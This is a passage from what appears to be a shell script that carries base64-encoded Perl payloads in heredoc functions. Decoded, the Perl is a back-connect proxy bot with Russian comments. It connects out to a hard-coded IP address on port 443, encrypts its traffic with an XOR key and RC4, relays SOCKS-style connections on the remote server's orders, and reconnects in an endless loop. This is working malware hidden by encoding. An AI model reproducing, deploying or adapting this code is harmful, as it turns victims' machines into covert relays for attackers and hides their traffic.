ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_16() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzQnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
